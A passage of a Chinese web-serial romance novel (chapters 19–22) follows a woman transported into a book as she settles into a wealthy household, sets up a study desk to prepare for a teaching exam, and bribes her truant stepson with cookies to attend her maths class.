她眼巴巴的,像林间小鹿,明亮清澈。 江明羧故意皱眉,看到对方露出忐忑表情,他本来不算美妙的心情奇异畅快了,终于点了点头。 “可以。” 闻言,金苒一下子就笑起来,心底更是欢呼雀跃。她这人属于给点儿阳光就灿烂,正当她觉得自己要求简单,或许还可以再“得寸进尺”时,管家领着一个人进来。 “听说你又受伤了,快让我看看。”魏漠一阵风似的出现,刚靠近就看到了江明羧胳膊上东歪西扭的绷带,忍不住惊呼,“谁给你缠的,这么丑?!” 金苒:“……”??? 看看沙发上坐着的人,再看看白衣大褂的魏漠,她陷入尴尬境地。 原来人家不是放任不管,而是请了家庭医生。 那她上赶着给人包扎算什么?算她好笑么? :) 见状,江明羧终于忍不住,侧过脸闷声咳嗽起来。 第19章 第19章他从未和女性长辈靠得这…… 金苒郁闷极了。 别以为他假装咳嗽,她就看不出他是在笑。 尴尬,恼火,最后无能狂怒,忍不住暗戳戳吐槽,怪不得前妻会和他离婚,就这恶劣性子谁能受得了?! 好吧,金苒承认是她小心眼发作了,因为穿书至今,她从未在别墅里听过那位前妻的事情,曾经好奇打探过几句,却被佣人仓惶变色的岔开话题,以至于她满肚子好奇都无法问出口。 可这有什么关系,谁让他先惹她,还不准她在内心造谣嘛? 生气中的女人是毫无道理的,说东就是东,说西就是西,说熟了的苹果往天上飞,即便牛顿来了也得点头称是。 她就像地府判官似的,在心里给江明羧判下一道道“公平正义”的罪名,以至于连她自己都没有发现,自己对男人的态度早就没有之前的警惕,反倒变得朋友般随意…… 后面,魏漠见气氛不对,知道自己闯了大祸,连忙找补:“虽然丑了点,但技术还可以。” “怎么个可以法,该包的地方都包住了?”金苒阴阳怪气。 魏漠:“……” 他不知道,嫂子是这个性格啊。 有些佩服地朝江明羧投过去一个眼神,后者无视之:“不用重新缠了,我觉得包扎的不错。” 听他这样说,金苒稍微消了些气,但也知道自己的水平和专业医生没有可比性:“还是重新缠一下吧,”她咳了咳,坦言道,“刚才我怕绷带松开,用的力气有点大,可能缠得太紧了。” 江明羧:“。” 他说怎么感觉胳膊有点发紫呢。 当然,这句话江明羧非常知趣地没有说出口。 因为伤口复发,工作地点暂时从公司搬到家里。 对于江明羧来说,其实没有什么太大区别。 甚至少了通勤时间,他可以趁机多开两个线上会议。 现实中的霸总和小说中终归存在差异,并不能为所欲为,因为女主的一个电话随便抛下会议离开的事情,更是绝对不会发生。江明羧需要应付董事会,需要过目数不请的文件和合同,需要时刻盯着竞争对手和政府新规,每天花费在工作上的时间比睡觉都要长。 他刚同海外的分公司负责人商谈好接下来公司的主要发展业务,那边,王特助就带着东西来了。 “处理好了?” 没有旁人的时候,男人眉眼间的疲惫显露出来,他闭了闭眼睛,后颈仰靠在真皮椅背上,微微凸起的喉结随着呼吸起伏。 王特助点头:“今天王强几个在金家老宅附近蹲守时,看到有陌生人进去了,对方在里面待了两个半小时候才出来。” 说着拿出 几张照片递过去。 照片中的人身材矮小,全身裹得严严实实,只能看见帽檐下那双细长的眼睛,透着毒蛇般的阴冷。 江明羧确信自己没见过这个人——但水越浑,越有人想摸鱼。 看来这次以身涉险,假装重伤的办法确实奏效了,最后的几个人也忍不住冒出头。 他随手把照片丢在桌上,态度漠然:“交给警方处理吧。” 王特助松了口气。 方才有一瞬间,他几乎以为江总要亲自动手了。 王特助不知道自己为什么有这样危险的想法,或许是江总身上时不时流露出来的狠戾气质,他刚入公司时甚至听到传言,说当年W市那场著名的纵火案有江总的身影。 第一次听到这样的说法时,王特助很是嗤之以鼻,毕竟W市的纵火案发生在二十多年前,那时他们江总不过是个十几岁的青少年。 简直是无稽之谈。 而且他跟着江明羧的这些年,男人一直遵纪守法,连红灯都没有闯过,可谓商界模范公民。 “金家那边让人不用继续盯着了。” 江明羧思考了会儿,做出决定。 私下和背后的人联系,即便金家老宅那派没有参与,也不可能毫不知情,这样的情况下仍然选择默不作声,摆明了是要坐山观虎斗,等着捡现成的便宜。 想到这,江明羧眸光渐渐转冷,之前看在合作的份上,他没有深究,可惜对反不懂什么叫适可而止。 至于现在,对方应该比他更要着急。 王特助不知道自家上司为何笃信,但他作为助理,只需要听从任命,“还有一件事情。” 他停顿了一秒钟:“今天学校那边打来电话,转达了一些关于少爷的事。” “什么事?” 江明羧捏了捏鼻梁,随口问道。 “…班主任表示少爷在学校里把三个同学打到流鼻血。” 王特助已经不敢看江总的表情,谁让学校那边留的是他的号码?赶紧加速语气,“不过后面太太帮忙说话,学校又查了监控,发现少爷是见义勇为,最后只罚抄一份检讨书。” “行,知道了。” 意外的,江明羧竟然没有发怒。 等王特助拿着签好的合同离开别墅区,还有些回不了神。 怎么感觉江总突然变得好说话了? 他还记得上次小少爷逃课被发现,江总直接将人扔到国外的训练营待了两个月。 非要找不同的话,大概是因为他提到了太太? 王特助顿觉发现了一个大秘密。 男怕烈女追,尤其像太太这样漂亮的女人,便是如江总这样的冷漠硬汉也不免俗。 看来以后他要重新审视太太的地位,即使不讨好,也绝对不能得罪。 恍惚间,王特助仿佛已经看到一路升职加薪的光明大路,嘴角的笑容越发灿烂。 / 晚饭过后是金苒的休闲保养时间。 原身旁的不多,护肤品化妆品是真的多,而且都是金苒上辈子用不起的贵妇牌子。 抱着不用白不用的心态,她也得坚持护肤,几次之后,不知道是不是错觉,感觉皮肤真的细腻了许多。 于是她更加热衷。今天洗完澡,给自己敷上一张四百块的功效面膜,金苒下楼倒水喝,正好撞见王特助满脸笑容地离开别墅。 她低头看了一眼腕上的手表,十点半,在大部分人洗漱完毕,美滋滋躺到床上的时间,王特助还要来老板家加班,实在有些凄惨。 不过看对方兴高采烈的样子,她觉得应该是有加班费吧。 金苒一边猜测加班费的数目,一边摸黑来到厨房。 然后就和同样下来找吃食的江许黎撞到了一起。 “……” 四目相对,彼此脸上流露出相同的诧异,又在下一秒,默契地移开视线。 金苒打开冰箱拿了一杯加冰的矿泉水,江许黎主动落后一步,等她拿完之后,才上前翻出一袋未开封的面包。 自从上次误食过期面包而食物中毒,江家的厨房就常备新鲜的面包,江许黎拿到手之后懒得上楼,干脆在厨房吃起来。 刚吃了几口,旁边突然传来一个好奇的声音:“你知道你爸给公司员工开多少钱吗?” 江许黎:“?” 他怔了怔,要不是厨房只有他们两个人,他会以为她在和其他人说话。 明明白天那么冷漠…… 金苒期待地眨了眨眼,她是巴掌脸,最小号的面膜在她脸上都有些大,说话的时候必须按着才不会乱跑,但这并不耽误她和人八卦:“我看到王特助刚才过来,一副特别高兴的样子,如果不是工资高,这个世界上应该没有人喜欢会工作!” 江许黎更加茫然,不明白她为什么要和自己谈这些。 而且看着很是感兴趣的样子,他觉得自己应该立刻离开,可等反应过来,嘴巴已经不受控制反驳:“王特助喜欢工作。” “嗯?” 金苒眼睛一亮,她就知道他肯定知道点儿什么,不由得凑近了点,“怎么说?” 动作行云流水般自然,待人察觉时,两人之间的距离早就缩短。 沐浴后的石榴花香幽幽飘来,江许黎身体僵住——他从未和女性长辈靠得这么近过,只觉得哪哪都不自在。 但他又不好后退,显得很不成熟似的,只能装作若无其事的样子:“每次家长会,王特助都很积极,他认识我们班每一位家长。” 哦豁,原来是个交际达人啊,金苒上辈子也认识一个亢奋型人才,知道这种人精力充沛,别人交给他的任务,他不仅完成,还能超额完成。 “而且,他是我爸的直属特助,属于顶级助理,我不知道他的工资,但上次过节,我爸给他了十万红包……” 光线昏暗的小厨房里,少年嗓音透着一股青涩的澄澈,不知不觉中就说了很多,而金苒也如愿以偿,吃瓜吃得心满意足,临走还分走了江许黎一半的面包。 直到那抹纤细的背影消失在视线中,江许黎都没有明白,自己怎么就讲了那么多? / 金苒并不知道自己一时的好奇,惹得少年人为“陌生人”的要求纠结不已。 回到自己的房间,她洗掉面膜准备睡觉,突然接到了金家人的电话。 之所以确定是金家人,是因为对面上来就带上了自称:“听到爸的话没有?一定要把姑爷带回来,咱们一家人好好吃顿饭!” 金苒拒绝:“我这周有事情要忙,江明羧更没有时间。” 金父立刻就生气了:“你这孩子怎么回事,静静回来说你变了,爸还不相信,没想到居然是真的!” 一个大男人,叽里呱啦像只青蛙似的,而且不管青红皂白,仅听从外人的话就指责女儿,金苒顿时没了应付的兴趣,喂喂喂了几声,便装作信号不好直接挂断电话。 小小的插曲,根本不影响心情,一夜好睡眠。 第二天金苒起床后第一件事情,就是去找江明羧讨要“报酬”。 如果不是时间太晚了,她甚至昨晚就要搬进书房! “毕竟是你的地方,我还是想问问你的意见,”她浅浅微笑,做出一副善解人意,什么都听你的恋爱脑模样,“你觉得我把书桌摆在窗户旁边怎么样?” 一开口,却是直接要了书房里风景最好的地方。 第20章 第20章她是我爸娶的老婆 江明羧眉眼掀起。 他坐着,而她站在他的面前,仰视过去时,灼热的呼吸于空中交错。 他的目光置于平视的纤细的腰肢,又淡淡略过,落到那双明亮的眼睛上。 气氛有些意味不明。 半晌,江明羧开口:“会不会太偏了?” 书房有两扇窗户,一扇窗户旁放着江明羧的办公桌,江明羧不至于以为她是在让自己挪走。 他早就发现了,某些时候,她大胆又奔放,像一头充满好奇心的鹿,用一双梅花角小心 翼翼试探自己的底线,但某些时候,她又满是警惕的,只要察觉一点儿端倪,就会敏捷地撤退回安全线。 “不偏不偏!” 闻言,金苒连忙摆手,她进去是为了学习,当然得怎么舒服怎么来。早在今天起床后,她就特意在书房逛了一圈,发现窗边空间大,光线充足。 打开窗,外面是一大簇枝繁叶茂的玉兰树,厚饶的叶片被夏风吹得沙沙做响,偶尔几声鸟鸣从枝叶间漏下,十足的自然韵味。 最重要的是,那边没有江明羧的东西,所以可以任由她安排。 届时再摆上几盆绿植,刷题效率一定会提高! 心里各种盘算,表面却不能这样说,而是善解人意道:“只要能有一处地方就好了,不能打扰到你工作。” “谈不上打扰。” “那不行,我和孩子还指望你赚钱呢。” 金苒俏皮眨眨眼。 虽然那钱不属于她,但一家人日常吃穿用度,全都仰仗着总裁的收入。 她能不能好好备考教师编,就得看霸总的收入能不能一直保持稳定。 江明羧听到“我和孩子”几个字,摩挲茶杯的指尖顿了顿,随后深深看了她一眼,答应下来:“让管家帮你搬吧。” 事情就这样敲定下来。 在别墅里找出几张多余的书桌还是没有问题的,不过事关金苒,管家肯定不会随便糊弄。 他详细询问了金苒的要求和用途,得知是为了看书,便打电话给经常合作的商家,让对方送一张两米长的书桌上门。 之后又安排了几个佣人去书房打扫。 因为活不多,佣人们一边忙一边还能分出心思八卦主家的事情:“咱们这位太太的想法还真是稀奇。” “可不嘛,不过太太不是大学毕业了吗,怎么还要读书?” “哼!要我看就是作,能看书的地方那么多,非得让大家专门给她在书房安置一张桌子,这不是故意使唤人嘛。” 说话的人是厨房的帮工张妈,已经当婆婆年纪,很是瞧不惯金苒这样的儿媳妇:“还说什么学习,其实就是为了接近江先生,听说咱们这位太太当初也是使了些手段才嫁进来,不然你以为两人为什么分房睡。” 其他几人有些怀疑:“管家不是说因为江先生觉轻吗?而且我看江先生这次回来,对太太还是挺好的。” “都是面子情,真喜欢,怎么这么久肚子都没个动静。” 张妈说得实在夸大其词,毕竟满打满算,金苒才嫁进来一个月的时间。 其他几人逐渐明白过来,表情顿时变得微妙。 江家厚道,在这里做佣人比旁处轻松,所以他们有才空闲凑到一起说话,但也只是拉拉呱,像张妈这样大嘴巴搬弄是非,就有些让人不耻了。 要是不改,迟早会惹出事。 几人对视一眼,嘴上不说什么,心里已经打算默默远离。 张妈可不知道同事们的腹诽,张嘴还要再吐槽点什么,突然,身后传来一个不耐烦的声音:“你们在说什么?” 不知什么时候,江许黎站到了书房门口,看着她们的目光有些不善。 张妈年纪大了,刚才又太过沉浸,听到声音差点吓得魂都飞了,回过神后讪讪道:“少爷,我们女人家说点儿家长里短,您肯定不爱听。” 江许黎眯起眼睛:“我怎么听到你们在说什么太太?” 张妈眼珠子转了转:“是太太想要在书房放一张桌子,我们刚才在说太太爱学习。” 虽然这位别墅的小少爷从小没妈,和父亲的关系也剑拔弩张,但佣人们依旧不敢怠慢——毕竟再怎么剑拔弩张,他身上流着的都是江家的血。 换句话说,就是典型的欺软怕硬。 在她看来,江许黎身为江明羧的亲儿子,是别墅的主人,新过门的太太金苒勉强只算个外人。这些天看着一个外人作威作福,指挥厨房的大厨,挑剔菜品的咸淡,张妈心里憋着一股无名火。 女人就应该好好相夫教子,安分守己地待在家里,再严厉点,不允许上桌吃饭,晚上得给爷们端茶洗脚。 哪里像金苒,每天只顾着自己吃吃吃,还让江先生住在偏房。 什么,你说谁规定的? 老祖宗传下来的习俗,自古以来都是这样呢! 大概金苒也没有想到,在结婚对象无父无母的情况下,她还能喜提婆婆一枚。 否则一定表示:离了个大谱。 此时此刻,张妈望着门口的江许黎,那忧心忡忡的模样,不知道的还以为她才是江许黎的后妈。 “不如少爷也和先生说一声,也在书房放一张桌子。” 江许黎简直莫名其妙:“我有书房。” 他爸基本不去三楼,以前的金苒会去,但现在对方恨不得避着自己走,更不用说主动找他,所以整个三楼都是江许黎的空间。 他放着好好的独立空间不用,为什么要跑来挤他爸的书房? 张妈觉得这孩子真是傻啊:“少爷,你不盯紧点,万一太太跟先生生吹耳边风怎么办!” 江许黎这下直接满头:??? 什么盯紧?什么耳边风? 先不说他爸会不会听别人的话,难道她吹得还少吗? 想到昨天女人当着他爸的面戳穿自己,少年就有些一言难尽。 他不喜欢声张自己做的事,因为即便说了也没有人在意,可当金苒用一种不掺杂任何评判意味的口吻将真相说出来时,他突然意识到,自己并非不在意。 而那种被人看在眼里的感觉也让他一阵恍惚。 甚至……有点儿隐秘的喜悦。 少年失眠了。 一晚上左思右想,辗转反侧,好不容易睡过去,清晨又很早清醒,江许黎干脆从床上爬起来。 路过二楼时看到书房门敞着,因为好奇地过来看看,不曾想会撞见佣人背后说坏话的场面。 也不知道那个一向对佣人很好的女人,得知后会是什么表情。 江许黎回过神,听到张妈指责金苒不怀好意,忍不住嗤笑:“她是我爸娶的老婆,是别墅的女主人,当然哪里都可以去。” “哎哟,少爷你得小心,这当后妈的不会对原配的孩子好的。” “无所谓,我不需要她对我好。” 而且他们已经达成了共识,在外面的时候会装作陌生人。 放在平日,江许黎或许不会将注意力分在什么张妈李妈身上,但这会儿他心情有些差,不耐再听无聊的浑话。 于是提高音量,确保在场的所有人都听到:“看在你在别墅干了这么多年的份上,我会让程管家把工资结算给你。” “但你要再说点什么……” 他冷下脸,声音萃了冰碴冷冰冰的,“我不介意报警。” 张妈脸色霎时就白了。 她不明白,自己明明是为了江许黎好,怎么反而被开除了? / 江许黎原本是打算下楼的。 但张妈的事情着实给他上了一堂课。 哪怕他自认对金苒没什么意见,充其量算忽视,但在外人眼中他们也是注定敌对的后妈和继子,免不得有自作聪明的蠢货,打着为他好的旗帜上蹦下跳。 江许黎心底升起一阵讽刺,他不清楚金苒是不是遇到过同样的事情,所以才会在一开始那样对待自己。 显然,这段时间金苒的变化之大,不止江明羧,连江许黎也发现了。 一楼响起女人的笑声,过了会儿,又传来他爸低沉的回应。 两人不知道在说什么,气氛颇为融洽。 少年脚步一顿,转身回到房间。 恰好兄弟陈训良发了一条消息:【黎哥,我打听到了,新来的数学老师是女的!】 他看见后更颓丧了,烦躁地打开游戏,将自己沉浸在虚拟世界里。 / 书房里的事情发生的悄 无声息。 另一边,接到托付的程管家办事迅速,仅用了两个小时就在书房的左上角重新置办出一处办公区域。 “太太看一看,还有什么地方想要改动?” 金苒果真仔细检查了一下。新桌子宽大结实,颜色是淡淡的木色,符合网上流行的原木风,管家还买了一些配套的文具和摆件,搭配起来简洁不失舒适。 她觉得程管家的审美可比自己厉害多了,忍不住竖起大拇指:“很完美,我没有任何地方需要改动!” 管家笑眯了眼:“那需要帮太太把东西都搬过来吗?” “不用了。” 金苒摇了摇头。她的东西并不多,而且有些书本里夹着自己解题思路的小纸条,怕人多手杂给弄丢了。 这样想的金苒显然没有意识到问题的严重性,等到十分钟后她准备亲自动手,望着眼前厚厚高高垒起的三座书山,才发现有些不太对劲。 等等,她有买那么多资料吗?! 仔细回忆了一番,好吧,的确都是她买的。 没有一个考编人能抵挡得住买新资料的诱惑,听清楚,是没有任何一个人!要不是考试时间就在下个月,金苒实在做不完,说不定她还会买更多! 自己选的路,跪着也要走下去,金苒叹了口气,在反悔和自己动手之间,最后还是认命地选择搬书。 江明羧坐在电脑前,听各部门汇报工作安排。 没一会儿,余光便瞥见视线里出现一个人。 几秒后,对方蹑手蹑脚离开。 又过了半分钟,对方再次开门进来。 “……” 江明羧向来专注,学生时代,他为了学习,可以在充斥着叫卖、砍价、谩骂的菜市场中争分夺秒。 后来事业起步,他仍旧可以在赶路的公交车里敲打代码,在谈判桌上冷静抓住对方的弱点给予反击。 但这一刻,他承认自己被影响了。 或者说……是被自己的心的影响。 察觉到这一点之后,江明羧有一瞬间的迟疑,不过很快他就坦然接受,并放任自己正大光明地去看。 女人像只蜜蜂似的进进出出,厚重书本堆在臂弯,书脊压着细白的胳膊,勒出浅淡红痕。 她呼吸从平稳逐渐急促,红润的唇变干,边缘掀起细小的死皮,微微张开时,偶尔能看到一闪而过的舌尖和牙齿。 书房里的空调温度调的很低,可在某些时刻,又显得无济于事。几次下来后,金苒光洁的额头沁出细密的汗珠。 即便如此,她也没有让别人帮忙的意思。 江明羧冷静思考。 她大概经历过很长一段时间的独居生活,习惯了事力亲为。 江明羧看得有些太久了,久到参加会议的其他人都发现端倪。 大家面上一本正经,实际私下小窗飞起:【有奖竞猜,江总在看什么?】 【应该是看奖杯吧,上个月明技刚拿了行业领军奖,要我我得天天看】 【妈呀,难道你们觉得江总那眼神是欣赏?为什么我只感觉到紧张!】 【没错,上次有幸被江总这样看了一眼,后面为了改方案,加班三天三夜】 还有人笑哈哈表示:【或许是看美女呢!】 然后被众人齐齐无视之。 笑话,他们江总出了名的对男女一视同仁,并非不近女色,而是不管男色女色,到了他面前都不值得被看一眼,因为毫无价值! 曾经有个娱乐圈年轻影后不信邪,故意在酒宴上弄脏衣服想上位,结果不仅没有得到江总青睐,反而被彻底封杀。 这一刻,明技的员工后知后觉对那位素未谋面的老板娘产生了好奇。 到底是什么样的女人,居然拿下了他们心高气傲的江总?【你现在阅读的是 】 20-30 第21章 第21章你的意思是说我老? 很快,金苒也感受到落在身上的视线。 她歉意地放轻脚步,隔空用口型表示:“抱歉,我小声点。” 江明羧没说话。 转头对着参会的人员道:“方案重做,今天下午交给王助理。” 正在汇报的项目经理:“……” 说完便结束线上会议,起身走到金苒旁边:“怎么不让管家帮忙?” 他伸出手想要接过金苒手中的书本,金苒却谨记着他的伤,连忙避开:“不用不用,你的胳膊还没好呢。” “还有另外一只手。” 江明羧态度坚决,金苒只能退而求其次,从中分出一半给他,又眼睛不错地盯着,确信他可以毫不费力用左手托起十几本资料书,并且没有影响到右胳膊才放下心来。 有一说一,眼里有活的男人真的很加分啊! 不怪金苒有此感慨。 现在的软件普遍采用算法推送,只要点开了某个内容,之后会重复性推送类似内容。 最近金苒便因为误入某个家庭伦理贴,怒花十分钟和包子恋爱脑博主吵架最后被拉黑,导致几天的时间,又看到了无数因为鸡毛蒜皮的小事而争吵离婚的夫妻。 哪怕她及时止损,但精神污染的荼毒也让她一度恐婚恐育。 帖子内容千奇百怪,家务因素占其中百分之八十,比如一人在忙,另外一人无动于衷,哪怕提前商量好分工,也会在不同场景下因为各种各样的问题产生矛盾。 甚至有的博主开始怀疑自己,表示明明彼此还有爱,却过得很痛苦,直到离婚都没有想明白答案。 金苒是理科生的思维,习惯对问题刨根问底。 本来她应该放下手机去刷题,看到博主的痛苦后,硬是收集了二十个案例,最后分析出——真正的矛盾不是家务,而是对方那种“家务就该你负责”的理所当然。 不是爱我吗,为什么对我的忙碌视而不见? 于是一次次怀疑,是生气,吵架,被指责,继而内耗,周而复始。 想明白其中的深层原因,金苒就不再恐惧了——不想因为隐形家务生气,那就找个爱干净、眼中有活的男人好啦。 放在旁人眼中,或许会惊讶于金苒的过度冷静。 只有她自己知道,早在上辈子父母因为工厂破产而互相推诿时,她就看透了婚姻的本质,比起虚无缥缈和过于短暂的爱情,两个人想要走下去,更重要的是另一半的人品和责任感。 有句话怎么说的来着,嫁人千万不能找对你好的人,要找一个他本身就好的人。 所以即便心中对江明羧有一瞬间的赞赏,她也没有因此陷入恋爱脑,想要和对方谈恋爱。 他好,她自己同样不差,并始终坚信在不久的未来,自己会达到更高的高度。 江明羧的视线落在手中的书本上。 之前从管家那里听说金苒变得非常爱看书,他只以为是她的另外手段,今天才发现确实是“非常爱读书”,联想着她应聘代课老师的事情,不由得了然于心:“准备考教师编?” “嗯,代课不是长久之计,所以我打算一边代课一边备战考教师编,如果能考上,工资至少比现在多三倍!”提到工资,金苒的冲劲更足了些。 “挺好的,”江明羧想了想,给予赞同,“稳定。” 闻言,金苒一个没忍住,噗嗤笑出声。 “怎么,我说的不对?” “不是不对,就是感觉这话从你这个千亿身价的霸总嘴里说出来怪怪的。”金苒笑着解释,“除了老一辈,很多年轻人都觉得编制的生活一眼看到头,没有挑战性。” 江明羧若有所思:“所以,你的意思是说我老?” 金苒:“……” 她险些被口水呛到,连忙摇头否认:“没有没有,意思是你,嗯,看起来像喜欢挑战的那类人,生命不止,挑战不止,所以我以为你会觉得当老师很无聊。” 在大佬面前说人老,好比狮子面前捋胡须,她是嫌活得不耐烦了吗? 何况江明羧今年三十五岁,同外面那些人到中年开始大腹便便的男人不同,在他身上几乎看不到岁月痕迹。 五官端正,身形挺拔,宽肩窄腰的比例配上若隐若现的肌肉线条,远胜过疏于锻炼的年轻人,怎么也不会和“老”字扯上关系。 “……总之,我是在夸你。” 女人脸上的表情实在丰富多彩,像鲜艳的风景画,框住了最美的风景。 此刻,绞尽脑汁向人解释的模样,让江明羧眼底划过一丝几不可察的笑意:“其实你说的也没有错,不过与其说喜欢挑战,不如说当时的情况只能挑战。” 谈起过往,江明羧的语气格外平淡,钝刀隔开岁月,只让眸子增添了深邃和成熟。 金苒愣了愣,这才恍惚间想起来,眼前的男人并不是像江许黎出生便是富二代,他的人生算得上坎坷多艰。 虽然书中并未详细描写,但从一无所有的游戏厅打工小弟,到名校毕业的科技新秀,其中的困难可想而知。 “而且严格来讲,我的确比你大一点。”江明羧将书本放到书桌上,转头看向她。 金苒:“……” 如果能够重来一次,她坚决不会说那句话! 于是接下来的时间,金苒打定主意闭上嘴巴,没想到竟然误打误撞提高了速度。 又往返了三次,两人终于把资料全部转移到书房。 累是累了点,但看着在自己手下变得焕然一新的学习区域,心中的成就感同样巨大。 金苒满意地点点头,事实上她得承认,自己是有点儿强迫症在身上的,每次学习之前必须要做好万全准备。比如一支笔,一处干净的场地,以及可以随手拿到的满杯水杯,和一碟每位的小零食。 距离中午饭还有两个小时,金苒因为劳作,腹部早已经饥鸣阵阵,血糖不足让她特别想吃点甜的。 她看向重新坐到位置上工作的江明羧,犹豫了两三秒,觉得对方不像是爱吃甜食的样子,于是没有打扰对方,自己一个人去了厨房。 这会儿,王厨他们已经到了岗位,正处理刚买回来的新鲜食材。 看到金苒进来,未语先笑:“太太来了,今天中午买到了新鲜的牛肋骨,给您做番茄肋骨汤。” 金苒立刻好耶,然后表达了自己想要一点点饼干的请求。 王厨当然一口答应,他现在时常做西式点心,工具和食材都是现成的:“要不要加点蓝莓?今天采购里面有新鲜的蓝莓。” “可以啊,多做一点,等会儿我拿给小黎。” 昨天晚上她吃了他一半面包,虽然少年当时没说什么,但那幽怨的小眼神还是让她有些好笑不已。 不过也能理解,她上学的时候也是胃口好到能吃下一头牛。 等待的功夫,金苒四处看了几眼:“张妈呢,她今天没有来吗?” 厨房的其他人说:“张妈辞职了。” 金苒微微惊讶:“怎么突然辞职了?”她上午还看到她呢。 “听说是儿媳妇生了孙子,让她过去照顾。” 金苒哦了声,中国的父母不仅需要照顾孩子,还要照顾孩子的孩子,并为此感到很幸福。 这个时候,她不由得庆幸自己是后妈,未来应该不需要帮看孩子。 等到饼干出炉,她端着满满一大盒上楼,如她所想,江明羧并没有对饼干表现出兴趣,于是她放心地分成两等份,留下分量多的一盒,然后带着另外一盒去了三楼。 自然没有注意到在她起身时,江明羧抬头看了一眼。 / 江许黎正在打游戏。 音响里传来震耳欲聋的.枪.战声,房门突然被敲响了。 他不耐烦地打开,对上金苒满面的笑脸:“烤了点儿小饼干,我一个人吃不完,要来点吗?” 江许黎想说还有他爸,结果面前奶香十足的味道直往鼻子里飘,让他不自觉吞咽口水。 正犹豫不觉着,金苒已经把盒子塞到他手中,目光往房间里面瞥了一眼:“在打游戏?” 江许黎抱鬼使神差撒了个谎:“……打完了,准备写作业。” 金苒哦了一声:“其实打游戏也没事,我教学生一向推崇劳逸结合。” 她还顺便给自己打了个广告:“下周一第一节是我的数学课,到时候你记得来上课,我会在课上展示如何和学生们一起玩着学习。” 她这继子经常逃课,不仅自己逃,还带着其他学生逃,以至于众多科目老师敢怒不敢言。 周五报道时,其他老师便提前给她打了预防针,为了防止这种情况的发生,金苒选择提前通知对方。 饼干是赔礼也是收买,属于光明正大的阳谋。 江许黎:“……” 等到女人离开,他抱着被塞的曲奇饼干回到房间,再看电脑屏幕,突然觉得方才还吸引人的游戏变得一点也没有意思。 于是他关掉游戏机,准备做会儿题,发现自己没有带书包。 想了想,干脆把写了一个开头的检讨书重新拿出来。 烤到金黄酥脆的曲奇饼干就放在旁边,散发着浓郁的味道,是偶尔会顺手捏一块。 真香。 / 时间转世即逝,很快到了周一。 这几日,江家一日三餐很是准时,每到饭点,餐桌上总能看到三个熟悉的身影,连管家也逐渐习惯。 甚至还有些感动。 在别墅工作这么多年,先生时常忙于工作,不经常回别墅,少爷倒是在,但一个人孤零零吃饭的画面,总是透露着心酸。 现在好了,管家笑得开怀,自从太太过来,越来越有家的味道了。 另一边,江许黎收拾好东西下楼时,他爸和金苒已经坐在餐桌前吃饭,第一次看到这幅画面,他还一脸震惊,现在已经习以为常。 他自顾自坐在自己的位置上。 一个远离他爸,和金苒也不算近的地方。 不说话,坐下后就开始狼吞虎咽进食,期间还听到对面两人的聊天,什么公务员教师编,一点意思都没有。 他撇撇嘴,却没发现自己心里吐槽,实际还是一字不落地偷听着,期间还抬头看了一眼,结果不小心对上了金苒的眼睛。 尽管他内心咯噔一下,当即挪开了眼睛,但还是晚了。 因为很快他就听到金苒对他说:“昨天的饼干好吃吗?” “饼干?” 江明羧面露疑惑,莫名想起昨天她拿到书房的那盒饼干。 当时他看她那副宝贝的样子,以为是她自己的珍藏,没想到是给许黎的。 “嗯,王厨做的,我分给了小黎一份。” 没有分到饼干,甚至连被问资格都没有的江明羧:“……” 顶着两道炯炯的目光,江许黎只能抿了抿唇,嘴里挤出两个字:“还行。” 何止是还行,他本来只是打算尝尝味道,毕竟那盒饼干少说也有三四十块,谁知写检讨的时候直接干空了。 一度让他怀疑自己是个饭桶。 金苒听了倒是很高兴,吃人嘴短,想来他应该是不会再逃她的课,不过以防万一,她又拿出来一份:“正好,我又让王厨做了另外一种口味,海盐柠檬,和蓝莓味道比起来不是那么甜,可以当做数学课后的小零食。” 等到江许黎逃跑似的离开别墅,他的书包里已经比平时重了两倍。 餐桌上,江明羧今日要回公司,吃完饭后便安静等着。 看着送出饼干后眉眼弯弯的金苒,他眼底划过一抹晦暗不明。 金苒正在脑海中复习教案,突然听到江明羧问:“海盐柠檬是什么味道?” 她愣了愣,没想到江明羧会好奇这样的问题,转而一想,牛顿看见苹果都能想入非非,可能这就是大佬的共性吧。她将剩下的盒子推过去:“唔,有点酸有点咸,形容不上来,你可以尝尝。” 江明羧矜持地捏了一枚。 “怎么样?”金苒期待问。 江明羧淡定将倒牙的甜咽下去:“嗯,比想象中好。” 金苒立刻笑起来,虽然这饼干不是她做的,但却是她和厨师点的!她大方地挥挥手:“既然你喜欢,这一盒给你吧!” “不用。”江明羧从盒子中拿出三块,剩下的推回去,“ 我吃这些就够了。” 第22章 第22章你也想当数学课代表吗…… 文承中学是市内最好的高中,前些年为了抓升学率,教学安排从早排到晚,这几年倒是有所改善,增加了许多音体美课程。 比如早自习,学生可以选择读书,也可以做其他事情,只要不影响旁的同学。 对于江许黎几人来说,自然是选择逃课睡觉,亦或者去操场打球。 可今天早上,当陈训良哈欠连天地从后面走进教室,一眼就看到老老实实坐在座位上的江许黎。 “卧槽,黎哥你梦游了?来的这么早!” 他一脸疑惑地坐到位置上,然后扭过头说话,前排的班长咳嗽了几声也置若罔闻:“四班汪文约我们打篮球,就在西操场,咱什么时候过去?” 江许黎面无表情:“哦,不去了。” 不仅如此,他身体还往右边挪了点儿,有些嫌弃:“别挡光。” 陈训良懵了,忍不住苦思冥想起来:“为什么不去?难道咱们今天有别的事情?我怎么完全不记得啊。” “没别的事。” “啊?那为什么不去?” “不去就不去,哪有这么多为什么。” 江许黎烦躁地皱眉,能说是拿人手软吃人嘴短? 他这会儿的心情就是不爽,很不爽。 曲奇饼干的确很好吃,尤其饥饿的时候,咔嚓咔嚓几个下肚,比面包更容易饱腹。 但吃的时候一时爽快,这会儿到了学校,江许黎后知后觉产生了后悔的情绪。 他向来是想做什么就做什么,连老师都管不了,他爸则是压根不会管,现在却被金苒用几块小饼干强迫着坐在教室——虽然他本来也没有打算逃课,但主动意愿和被动留下还是存在差别的。 心情不好,看谁都不爽:“你能不能有点脑子,马上期末考试,是想继续考倒数第一直接留级吗。” 陈训良莫名被喷,简直比窦娥都要冤,还被兄弟说没脑子,火气跟着噌的蹿上来:“不是,我不就是问问嘛,至于发这么大火吗?爱去不去,我自己去!” 他还以为黎哥是因为家里的事情感到烦心,好心拉他一起打球放松,现在看来没有必要了。 抱着傲娇的心,陈训良跑去操场玩了个天昏地暗,等到第一节课的铃声响了半天,他才不急不慢地往回走。 隔着窗户,清亮的嗓音如乐器般缓缓流淌而出。 “这道题运用了空间几何和解析几何,我们可以从这几个角度切入……” 